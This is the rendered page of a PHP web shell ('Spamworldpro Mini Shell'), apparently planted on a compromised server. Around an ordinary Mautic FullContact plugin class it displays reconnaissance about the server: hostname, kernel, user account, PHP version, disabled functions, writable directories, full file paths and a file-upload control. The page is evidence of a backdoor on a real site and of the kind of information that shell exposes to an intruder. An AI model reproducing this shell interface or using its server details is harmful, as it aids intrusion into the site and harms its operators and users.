Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/plugins/MauticFullContactBundle/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/plugins/MauticFullContactBundle/Services/FullContact_API.php
<?php

namespace MauticPlugin\MauticFullContactBundle\Services;

use MauticPlugin\MauticFullContactBundle\Exception\ApiException;
use MauticPlugin\MauticFullContactBundle\Exception\BaseException;

class FullContact_API extends FullContact_Person
{
    public function __construct(string $api_key)
    {
        parent::__construct($api_key);
        trigger_error('The FullContactAPI class has been deprecated. Please use FullContact instead.', E_USER_NOTICE);
    }

    /**
     * Instead of using this implementation, you should create a
     *   FullContact_Person class and use the lookup method you prefer.
     *
     * @deprecated
     *
     * @param string $search  - Search Term (Could be an email address or a phone number,
     *                        depending on the specified search type)
     * @param string $type    - Search Type (Specify the API search method to use.
     *                        E.g. email -- tested with email and phone)
     * @param int    $timeout
     *
     * @return array - All information associated with this email address
     */
    public function doLookup($search = null, $type = 'email', $timeout = 30)
    {
        if (is_null($search)) {
            throw new BaseException('To search, you must supply a search term.');
        }

        match ($type) {
            'email'   => $this->lookupByEmail($search),
            'phone'   => $this->lookupByPhone($search),
            'twitter' => $this->lookupByTwitter($search),
            default   => throw new ApiException("UnsupportedLookupMethodException: Invalid lookup method specified [{$type}]"),
        };

        $result             = json_decode($this->response_json, true);
        $result['is_error'] = !in_array($this->response_code, [200, 201, 204], true);

        return $result;
    }
}

Spamworldpro Mini